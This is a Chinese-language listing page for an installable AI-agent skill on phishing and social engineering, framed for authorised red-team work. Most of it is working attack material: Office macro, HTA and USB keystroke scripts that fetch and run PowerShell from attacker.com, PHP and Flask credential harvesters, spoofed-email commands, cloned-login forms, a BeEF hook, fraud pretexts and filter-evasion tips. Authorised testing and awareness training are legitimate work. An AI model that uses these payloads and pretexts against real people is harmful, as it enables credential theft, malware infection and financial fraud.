mcpField
P
performing-social-engineering

performing-social-engineering

github.com/trilwu安全17795 次安装12 周前更新
代码仓库

关于 performing-social-engineering

面向授权红队和安全意识工作的社会工程评估技能。内容涵盖电子邮件、语音、短信、USB 和浏览器场景中的活动规划与执行,并强调书面授权、范围界定和数据处理。

主要功能

  1. 01钓鱼活动规划
  2. 02邮件与凭据收集方法
  3. 03语音、短信和二维码场景
  4. 04USB 与浏览器攻击方式
  5. 05授权与数据处理指南

适用场景

  1. 01开展经授权的钓鱼评估
  2. 02通过限定范围的场景测试员工意识
  3. 03规划社会工程演练并编写报告

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill performing-social-engineering

安装后在 Claude Code 中输入/performing-social-engineering确认已加载。

详细介绍

实施社会工程

适用场景

  • 执行网络钓鱼行动
  • 窃取凭据
  • 社会工程评估
  • 红队演练
  • 安全意识测试

不适用场景

  • 任何未经书面授权且没有明确范围的行动 — 立即停止
  • 点击后进行技术利用 — 使用相关的后利用技能
  • 分析你收到的网络钓鱼邮件 — 使用 analyzing-phishing-emails (邮件头、链接、附件);对于已引爆的载荷,使用 analyzing-malware

网络钓鱼基础设施

Gophish(网络钓鱼框架)
# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish 行动设置:

  1. 邮件模板 - 创建可信的网络钓鱼邮件
  2. 登录页面 - 克隆合法网站以窃取凭据
  3. 发送配置 - 配置 SMTP 服务器
  4. 用户组 - 导入目标用户列表
  5. 行动 - 组合所有要素并启动
SET(社会工程工具包)
# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

凭据收集器:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

电子邮件网络钓鱼

电子邮件地址伪造
# sendEmail (simple SMTP client)
sendEmail -f [email protected] \
  -t [email protected] \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to [email protected] \
  --from [email protected] \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com
基于附件的网络钓鱼

恶意 Office 宏:

' Excel/Word VBA macro — AutoOpen fires on document open once macros are enabled
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""I[E]X((new-object net.web[c]lient).download[s]tring('http://attacker.com/payload.ps1'))"""
End Sub

使用断开括号的写法:I[E]X 表示 IEX,net.web[c]lient 表示 net.webclient, download[s]tring 表示 downloadstring。按原样书写时,此代码块就是标准的 TrojanDownloader:O97M 签名。请参阅仓库 README 中的“Antivirus false positives”。

恶意 PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

恶意 HTA:


<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>
克隆合法网站
# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">
凭据收集服务器

简单的 PHP 收集器:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask 收集器:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

语音网络钓鱼(Vishing)

SpoofCard/来电显示伪造
  • 伪造来电显示的服务
  • 冒充 IT 支持人员、高管、供应商
  • 通过电话实施社会工程

常见借口:

  • IT 支持人员需要验证凭据
  • 人力资源部门需要核实个人信息
  • 财务部门需要确认电汇
  • 供应商要求更新付款信息

短信网络钓鱼(Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB 投放攻击

Rubber Ducky / Bad USB

Ducky 脚本示例:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.
实体 USB 投放

借口:

  • “公司财务数据 2024”
  • “薪资信息 - 机密”
  • “员工第四季度奖金”
  • “IT 安全更新 - 必需”

载荷思路:

  • 反向 shell
  • 凭据窃取器
  • 键盘记录器
  • 数据外传
  • 持久化机制

二维码网络钓鱼

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

水坑攻击

  1. 识别目标组织经常访问的网站
  2. 入侵该网站(或创建仿冒网站)
  3. 注入恶意代码(漏洞利用或分析用户特征)
  4. 等待目标访问并遭到入侵

基于浏览器的攻击

BeEF(浏览器利用框架)
# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting
虚假更新页面

<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

预设情境

IT 支持:

  • “你好,我是 IT 部门的 John。我们正在进行例行密码重置……”
  • “我们检测到你的账户存在可疑活动……”
  • “你的 VPN 证书即将过期,我们需要更新它……”

冒充高管:

  • “我是 [CEO name],我正在开会,需要你……”
  • “紧急:需要在今天下班前完成电汇……”
  • “我正在出差,无法访问我的账户,你能帮帮我吗……”

供应商/合作伙伴:

  • “我是 [vendor] 的会计人员。我们需要更新付款信息……”
  • “你的发票已逾期,请更新账单信息……”

配送/运输:

  • “包裹投递失败,请验证地址……”
  • “需要办理清关,请在此支付费用……”

LinkedIn/社交媒体侦察

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

载荷投递方式

链接:

  • 缩短的网址(bit.ly、tinyurl)
  • 仿冒域名
  • 同形异义字符攻击(IDN 同形异义字符)
  • URL 混淆

附件:

  • 带宏的 Office 文档(.docm、.xlsm)
  • 含有漏洞利用代码或 JavaScript 的 PDF
  • 压缩文件(.zip、.rar)
  • ISO/IMG 文件
  • LNK 文件(快捷方式伎俩)

进阶:

  • HTML 走私
  • 多格式文件
  • 受密码保护的压缩包(绕过 AV)
  • 带签名的恶意软件(使用被盗或伪造的证书)

跟踪与报告

电子邮件跟踪:


<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

链接跟踪:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

跟踪指标:

  • 已发送的电子邮件
  • 已打开的电子邮件(跟踪像素)
  • 已点击的链接
  • 已提交的凭据
  • 已打开的附件
  • 首次点击或提交所用时间

操作安全注意事项

基础设施:

  • 使用一次性域名
  • 使用 HTTPS 收集凭据
  • 使用合法的 SSL 证书(Let's Encrypt)
  • 对域名进行分类(提交至分类服务)
  • 使用 CDN 托管(CloudFlare)

电子邮件:

  • SPF/DKIM/DMARC 对齐
  • 提升电子邮件信誉
  • 使用相似但不同的域名(company.com 与 company-portal.com)
  • 避免触发垃圾邮件过滤的词语

规避检测:

  • 使用真实可信的发件人姓名和地址
  • 采用专业的电子邮件内容
  • 避免已知的恶意指标
  • 按时间投递(工作时间)
  • 使用地理围栏(仅针对目标地理区域)

工具概览

  • Gophish - 网络钓鱼活动管理
  • SET - 社会工程工具包
  • BeEF - 浏览器漏洞利用
  • King Phisher - 网络钓鱼活动工具包
  • Evilginx2 - 中间人(MITM)网络钓鱼代理(绕过 2FA)
  • Modlishka - 反向代理网络钓鱼
  • CredSniper - 捕获 2FA 令牌
  • ShellPhish - 自动化网络钓鱼

防御意识

教导用户识别:

  • 紧迫或施压手段
  • 索要凭据
  • 异常的发件人
  • 可疑的链接或附件
  • 好得令人难以置信的优惠
  • 要求绕过安全措施

法律与道德注意事项

  • 务必取得书面授权
  • 明确界定范围
  • 保护收集到的数据
  • 遵守 ROE(交战规则)
  • 负责任地报告发现
  • 任务结束后删除数据

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。引用报告中的 ID 前,请根据 当前 ATT&CK 版本再次核验。

侦察(TA0043)

  • T1589 收集受害者身份信息 — 另见 performing-reconnaissance
  • T1591 收集受害者组织信息 — 另见 performing-reconnaissance
  • T1598 通过网络钓鱼获取信息 — 另见 analyzing-phishing-emails

资源开发(TA0042)

  • T1583 获取基础设施
  • T1585 建立账户
  • T1608 部署能力 — 另见 transferring-files

初始访问(TA0001)

  • T1189 水坑式攻击
  • T1566 网络钓鱼 — 另见 analyzing-phishing-emails
  • T1566.001 鱼叉式网络钓鱼附件 — 另见 analyzing-malware、analyzing-phishing-emails
  • T1566.002 鱼叉式网络钓鱼链接 — 另见 analyzing-phishing-emails

执行(TA0002)

  • T1203 利用漏洞执行客户端代码 — 另见 analyzing-malware、exploiting-memory-corruption
  • T1204 用户执行

上述任一项的检测内容:engineering-detections。主动搜寻:hunting-threats。失陷后处理:responding-to-incidents。

References

评论

支持 Markdown